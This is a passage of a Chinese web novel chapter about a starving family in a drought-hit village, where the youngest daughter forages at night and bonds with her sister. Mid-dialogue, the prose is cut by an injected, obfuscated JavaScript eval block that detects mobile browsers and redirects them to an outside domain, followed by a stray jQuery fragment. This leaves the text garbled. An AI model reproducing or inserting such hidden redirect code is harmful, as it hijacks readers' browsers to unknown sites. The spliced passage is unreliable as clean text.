葫芦村三面环山,正值夏季,本来山上应该是郁郁葱葱的树木,三年以前是这样的,可自从三年前的那一场大旱,山上已经鲜少有树木存活下来,如今到处都是光秃秃的灰褐色石头和干裂的土地。
干裂的地面像是张着嘴的饿鬼,四散的裂纹布满整片大地
这三年里也一直延续着干旱,下的雨也只是杯水车薪,连葫芦村的村民赖以生存的水源也快要见底。
赵父看着只剩下浅浅一层的河水,撑着干裂的双手蹲了下去,无助的抹了一把脸,他祖祖辈辈都生活在这个小小的村落,在这里繁衍生息。
可现在……
老天爷不想让他们活啊!
赵母站在河床边,沉默了许久,“回吧,孩子们还等着饭吃。”
赵满终于见到了赵母,默默盯着她看,一张因常年劳作而变得干瘪黝黑的面容看不出来长相,就是这个村子里许许多多普通人的样子。
但赵满还是有点新奇,她父母在她一岁的时候就离婚了,从那以后她再也没见过妈妈,爸爸把她丢给奶奶照顾,也就逢年过节会给她打个电话,有时候想不起来甚至两三年都不会给她打电话,奶奶去世以后她习惯了一个人吃饭,一个人上学。
要不是遇见了好友,她也许会孤独一辈子。
赵母注意到了赵满的目光,看着她勉强扯出一抹温柔的笑,“饿坏了吧,快吃吧。”
赵满接过比前几天大了不少的野菜团子,送到嘴边慢慢咀嚼,她现在也学会了很珍惜的吃饭,似乎吃的慢一点,就能吃的饱一点。
“我想出去。”吃完饭,赵满冷不丁开口。
赵母愣了一下,微微皱眉,摇了摇头,“家里没有衣服给你穿。”
家里拢共四件衣服能穿出门,都是只有劳力才能穿的,赵满现在才十岁,又因长期营养不良,瘦小的像个才七八岁的孩童,要是衣服给她穿,那白天少了一个劳力,家里就更吃不饱。
赵满低下头,思索片刻,“那我白天不穿,晚上二姐回来我再出去。”
看着女儿渴求的眼神,赵母说不出来拒绝的话,说起来赵满已经许久没出去过了。
三年前那一场大旱不知死了多少人,他们家虽没死人,可也只是勉强撑着,家里能换粮食的东西全被当了出去,就剩下四件衣服能勉强蔽体。
“那你只能在家周围转转,不能跑远,要不然有拍花子给你拍走。”
“我不跑远。”赵满点点头,她瘦的这幅骷髅样,看着活不了几天,这样的人牙子都嫌她,哪里会有拍花子拍她。
晚上,赵二丫一回来,赵满就迫不及待的穿上衣服。
赵二丫也不管她去哪,“小心点,别弄坏了,家里可没衣服穿了。”
“知道了。”
赵满头也不回,几天来,第一次踏出了低矮的茅草屋。
出了门,清朗的月亮高悬空中,洒下一丝清冷的余晖,一点也看不出白天热的蒸腾的模样。
赵满其实有些好奇,白天那么热,为什么还要白天出去找吃的,晚上找不行吗?
二姐用看憨子的眼神看了她一眼,“晚上乌漆嘛黑的你能看见什么,再说了,白天都找不到吃的,晚上你就能找到了?”
赵满没有说话,看着二姐比她黑了不止一个度的脸默默闭上了嘴。
踏出房门,她也终于看清了赵家的全貌,说实话,赵家其实不小,除了几间矮矮的屋子,还有一个很大的院子,用篱笆扎起来,围了很大一圈。
虽然她并不觉得还没有她肩膀高的篱笆有什么用,遇到小偷,他甚至不用爬,腿一抬就能上来,但就他们家这穷的老鼠都不光顾的程度,估计也没有哪个不长眼的小偷会来。
沿着院子慢悠悠逛了一圈,赵满看着远处蠢蠢欲动,但咕咕叫的肚子把她拉回了现实。
没办法,吃的太少,稍微走两步就没了力气。
她现在知道为什么那天她饿的不行的时候二姐会有菜团子了,外出找食物的人要是不藏着点吃的,别说找东西吃了,走两步恐怕就得一头栽倒在地。
赵满饿的头晕眼花,甚至想拔根野草塞嘴里,但环顾一周,到处都是一片荒芜的景象,一点绿色都没有,连干枯老树的树皮都被扒了个干净。
可让她就这么回去她又不甘心。
在地上坐着缓了好一会,赵满撑着地慢慢站起来,随手捡了根树枝当拐杖,朝着远处慢慢走。
走了约莫一刻钟,已经累的她心发慌,回头一看,赵家矮矮的茅草屋清晰可见,她走了这么长时间也没走多远。
赵满朝远处看,估摸着回去会不会饿死在路上,眼睛一扫,似是见到了一小团绿色,瞬间眼睛亮的发光,三步并两步跑过去。
掩藏在石头缝里,冒出的一小株嫩芽显得尤为可爱。
赵满并不认识这是什么草,但此刻已经顾不得许多,抓起不认识的野草就往嘴里塞,也不管是不是能吃的野菜,她现在饿得很不得趴在地上吃土,吃点草又算得了什么。
从前她胖的时候还会吃沙拉减脂,那时候她也和好友戏称自己在吃草,哪曾想过有一天真的在这里吃起了草。
坚强了许多天不曾掉下的眼泪这次有点忍不住,啪嗒啪嗒往下掉,砸在灰扑扑的地面上,氤氲开来一小片痕迹。
嘴里的草并没有她想象中的难吃,就是一股草味,或许是她这些天吃野菜团子提高了阈值,眼下嚼着嘴里的草竟然还觉得有些清甜。
双腿摊开,坐在地上,极为珍稀的吃完了手中的一小株草,擦擦嘴,赵满搬开石头,试图再找一株祭自己的五脏六腑。
可惜,好运气不是时时有的,将石头底下仔仔细细找了一圈也没再找到一株可以吃的草。
赵满有些泄气,但也无可奈何,拍了拍手,重新站起来,看了看黑乎乎的前方,犹豫许久,还是转身朝着来时的路慢慢走回去。
到了家,重新躺在干枯的茅草上,赵满才后知后觉脚底板疼的厉害。
赵家穷的衣服都没有,自然也不会有鞋这种东西,她今天是光着脚出去的,虽然加起来也没走多少路,但脚还是磨出了血泡,一碰就生疼。
察觉到赵满疼的吸气,赵二丫坐起来,看了她一会儿,随后烦躁的一把拖过她,从垫着的茅草上挑了根尖细就着月光给她挑血泡,“真是个烦人精!”
她虽然语气不耐烦,手上的动作却很轻。
赵满愣愣地看着她,好半天才抿嘴笑了一下,“谢谢姐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534055|186465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
赵二丫动作顿了一瞬,随即像是受不了这么肉麻,瞪了她一眼,“别做怪。”
第二天一早,赵满醒的时候和往常一样,床上只有小妹,二姐早已经离开,她起来看了看自己的脚,昨天挑了血泡已经好了许多,已经没有那么疼。
她叹了口气,幸好自愈能力还不错,要是和以前一样,划道小口子几天好不了那才是真糟了。
接下来每天晚上她都会趁二姐回来后换上她的衣服出去,虽然不是每天都有收获,但总比她每天什么也不敢就躺在家里那个硌人的干草堆上要好。
这几天她的脚还是会有水泡,但已经慢慢好转,每天晚上二姐还是会骂骂咧咧的给她挑水泡,二人关系也比以前亲近了许多。
“后面几天衣服就要给三弟了,你就别出去了,他和大哥都很晚才回来。”
乍一听到这个消息赵满有些难过,她已经习惯了每天晚上出去晃悠两圈,虽然脚疼肚子也饿,但什么都不做更让她心慌。
“那我等他回来再出去不行吗?”赵满试图挣扎。
“他们回来的迟,那么晚了你再出去会危险,我没和你说笑。”赵二丫表情尤为严肃的看着最近活泼了不少的四妹。
赵满不甘心的鼓鼓嘴,面对二姐坚定的眼神,终究还是败下阵来,“知道了,我不出去。”
隔天晚上,赵大田和赵三田果然回来的很迟,赵满睡得迷迷糊糊才听见他们回来的动静,本来留有一丝意识想爬起来,最终还是败倒在瞌睡虫下,昏昏沉沉地睡了过去。
院子里,赵大田和赵三田兄弟俩空着手回来。
赵三田止不住的叹气,“以前二姐好歹还能带些吃的回来,怎么轮到我就啥也没有。”
“正常,我和二妹出去也不是天天都能带东西回来的,先歇歇吧,明儿个还要早起。”赵大田拍了拍弟弟的肩膀以示安慰,回房发现小弟睡的四仰八叉,小呼噜打得一个接一个。
赵三田回来一看就笑了,“你说这小子怎么长得,明明和咱吃一样的,怎么就偏他这般结实,瞧那腿,昨晚睡觉给我踹的,肚子现在还有些疼。”
赵大田看着虽然瘦弱,但比起其他弟妹来虎头虎脑的小弟笑了笑,“爹娘生的,咱也不知道,不过这样也好,长得壮实点以后能活的久些,总比……”
提到这个话题兄弟俩有些沉默,赵夫赵母这些年生的不止他们兄弟姊妹几个,有的甚至都养到三四岁了,却还是死了,最终剩下的也只有他们,赵三田还记得在四妹之前他其实还有个弟弟,只比他小一岁,可惜一场风寒带走了他,他从小和弟弟形影不离,至今也难以忘记。
深吸一口气,赵三田不再想这些,“明天要是再找不到吃的我们就走远些,好歹让几个小的吃多一点,不然我怕……”
赵大田想起前些天二妹突然过来和她说四妹好像差点饿死的时候,那种心有余悸。
这段时间家里着实困难,正是青黄不接的时候,再加上干旱一直持续,谁也不知道自己明天会不会饿死。
“那我们明天再走远一点。”
他不想再看到弟妹死在自己面前,活生生一个人就这么慢慢变凉,最后被埋在一个小小的土坑里,连副薄棺材都没有。